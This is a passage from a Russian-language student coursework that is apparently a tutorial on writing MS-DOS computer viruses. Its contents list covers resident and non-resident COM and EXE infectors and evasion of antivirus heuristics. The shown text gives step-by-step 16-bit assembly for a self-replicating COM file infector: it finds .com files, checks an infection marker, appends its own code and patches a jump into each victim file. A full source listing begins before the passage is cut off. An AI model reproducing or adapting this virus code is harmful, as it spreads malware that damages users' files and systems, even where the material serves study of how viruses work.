Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
для расчета служит
длина заражаемого файла,
DOS вместе с именем найденного файла и рядом дру-
гих его характеристик помещает в DTA .Размер запи-
сывается в DTA по смещению 01Ah ( младшее слово )
1Ch ( старшее ) . Так как длина COM - файла не мо-
жет быть больше 65535 байт, она помещается в
младшее слово целиком.А слово по смещению 01Ch об-
нуляется !
Вышеуказанные расчеты можно произвести следующим
образом :
found_size:
mov ax,cs:[09ah] ;Найдем размер
count_size:mov si,ax
cmp ax,64000 ;Файл длиннее
jna toto ;Нет ...
jmp find_next ;Да - тогда он
toto: test ax,000fh ;Округлим размер
jz krat_16 ;до целого числа
or ax,000fh ;параграфов в
inc ax ;большую сторону
krat_16: mov di,ax ;И запишем ок-
;Расчитаем сме-
sub ax,3 ;Сама команда
;перехода зани-
mov byte ptr new_bytes[1],al
mov byte ptr new_bytes[2],ah
mov ax,di ;Сколько пара-
mov cl,4 ;графов содержит
shr ax,cl ;заражаемая про-
;грамма ?
dec ax ;Учитываем дейс-
mov byte ptr add_to_ds,al
mov byte ptr add_to_ds+1,ah
Вы уже, конечно, поняли,что вирус будет округлять
размер заражаемой программы до целого числа параг-
рафов в большую сторону .Например,пусть файл имеет
длину 401 байт .Тогда вирус запишет в DI значение
416 ( 25 целых параграфов, и еще один байт даст
округленное значение 416 ).В " new_bytes " запише-
тся число : 416 - 3 = 413, а в " add_to_ds " будет
помещено значение : 26 - 1 = 25 .
Чтобы лучше понять
работу фрагмента,рекомендую
посмотреть пункт 1.6 . И еще - подумайте, за-
чем нужна команда " dec ax " .Надеюсь,вы без труда
в этом разберетесь !
1.12 Проверяем файл на зараженность
Мы, кажется, слишком увлеклись работой и не заме-
тили одной очень важной детали.Ведь может случить-
ся, что найденный нами файл уже заражен предлагае-
мым вирусом, а мы об этом даже не догадываемся !
Поэтому наш вирус заразит эту программу еще раз .В
принципе,количество заражений ничем не ограничено.
Программа будет расти, пока не достигнет размера
более 65535 байт, а после этого перестанет рабо-
тать.Чтобы такого не произошло, введем проверку на
зараженность .Например, в конец каждого заражаемо-
го файла будем записывать цифру " 7 ", а при за-
ражении проверять ее наличие .
Итак :
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на пос-
dec si ;ледний байт
mov dx,si ;файла ...
int 21h
jnc read_last
jmp close ;Ошибка !
read_last:
mov ah,3fh ;байт в ячейку
mov cx,1 ; " last " ...
lea dx,last
int 21h
jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 "
jne write_vir ;Нет - дальше
jmp find_next ;Да- поищем дру-
Можно, конечно,провести более совершенную проверку
зараженности,нашей же целью было просто показать,
как защитить файлы от повторного заражения .Чита-
тель при желании сам легко внесет необходимые из-
менения в создаваемую программу .
1.13 Заражаем COM - программу
Наконец, подходящий для заражения COM - файл най-
ден . Он еще не заражен нашим вирусом и имеет при-
емлемый размер . Поэтому самое время заняться за-
ражением .Этот процесс описан в 1.3 ( см. п.3 и
п.4 ) .Здесь мы только его реализуем :
write_vir: mov ax,4200h ;Установим ука-
xor cx,cx ;затель на конец
mov dx,di ;файла ...
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,vir_len ;код вируса дли-
lea dx,vir ;ной vir_len
int 21h
jc close ;При ошибке -
;закроем файл
write_bytes:
mov ax,4200h ;Установим ука-
xor cx,cx ;затель на нача-
xor dx,dx ;ло файла
int 21h
jc close ;При ошибке -
;закроем файл
mov ah,40h ;Запишем в файл
mov cx,3 ;первые три бай-
lea dx,new_bytes ;та ( команду
int 21h ;перехода ) ...
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл ...
При записи первых трех байт в файл помещается ко-
манда перехода на код вируса. Все остальное можно
понять из приведенных комментариев .
1.14 Восстанавливаем DTA
Для корректной работы зараженной программы восста-
новим ее DTA .Напомним,что вирус " прячет " ее в
массиве " old_dta ".
Поэтому :
restore_dta:
mov cx,80h ;Размер DTA -
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
dta_fresh:
mov al,ds:[si] ;Читаем из мас-
;сива "old_dta"
mov byte ptr cs:[bx],al;байт и перено-
inc bx ;К новому байту
inc si ;
loop dta_fresh ;Цикл 128 раз
1.15 Передаем управление
Работа вируса окончена . Теперь он должен отдать
управление программе - носителю.Как мы выяснили,
для этой цели достаточно выполнить переход на ад-
рес CS : 100h . Поэтому занесем в стек содержимое
CS,и затем - число 100h.А после этого выполним ко-
манду RET FAR .Она снимет с вершины стека запи-
санные
туда значения и передаст
ределяемому ими адресу :
pop ds ;Восстановим
push cs ;Занесем в стек
db 0b8h ;Код команды
jump: dw 100h ;mov ax,100h
push ax ;Занесем в стек
retf ;Передача управ-
1.16 Область данных вирусной программы
Настало время привести данные, которыми оперирует
наш вирус . Вот они :
old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;ной программы
old_dta db 128 dup (0) ;Здесь вирус
maska db '*.com',0 ;Маска для поис-
;ка файлов ...
fn db 12 dup (' '),0 ;Сюда помещается
new_bytes db 0e9h ;Первые три бай-
db 00h ;та вируса в
db 00h ;файле ...
last db 0 ;Ячейка для пос-
db '7' ;Последний байт
Как видим, данных не так уж и много !
1.17 Завершаем запускающую
Для завершения запускающей вирус программы мы ис-
пользуем стандартную функцию DOS, а именно - 4Ch :
vir_len equ $-vir ;Длина вирусного
prg_end: mov ah,4ch ;Завершение за-
INT 21H ;пускающей прог-
db '7' ;Без этого сим-
prg ends ;Все ASM - прог-
end start ;раммы заканчи-
Вы, наверное, заметили,что в запускающей программе
при восстановлении первых трех байт по адресу CS :
100h записывается команда перехода на метку " prg_
end ".После передачи управления на эту метку вирус
отдает управление MS DOS . Если бы в самом начале
нашего вируса не было команды "jmp vir" (см.1.6),
то запись по адресу CS : 100h перехода на метку
" prg_end " разрушила бы команды
push ax
mov ax,ds
( см.1.6 ).В результате в заражаемый файл попал бы
вирусный код с испорченными первыми байтами . Это
наверняка привело бы к полной неработоспособности
файла - жертвы .В нашем же случае будет разрушена
лишь команда " jmp vir " .Поскольку в файл она не
записывается, нас это не интересует .
1.18 Текст нерезидентного COM - вируса
Как видите, вирус написан, и пора привести его
текст.Этим мы сейчас и займемся :
; ______________________________
;|
;| Non -
TSR COM virus
;| Especially for my readers ! |
;|____________________________
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
start: jmp vir ;Передача управ-
;ления вирусному
org 110h
vir: push ds ;Сохраним DS ...
mov ax,ds ;регистр DS ...
db 05h ;Код команды
add_to_ds: dw 0 ; " ADD AX,00h "
mov ds,ax ;AX -> DS ...
fresh_bytes:
mov al,old_bytes
mov cs:[100h],al
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
mov cx,80h ;Размер DTA -
mov bx,80h ;Смещение к DTA
lea si,old_dta ;Адрес массива
save_dta:
mov al,byte ptr cs:[bx];Читаем из DTA
mov ds:[si],al ;сим его в мас-
inc bx ;К новому байту
inc si ;
loop save_dta ;Цикл 128 раз
find_first:
mov ah,4eh ;Поиск первого
mov cx,00100110b ;archive, system
lea dx,maska ;Маска для поис-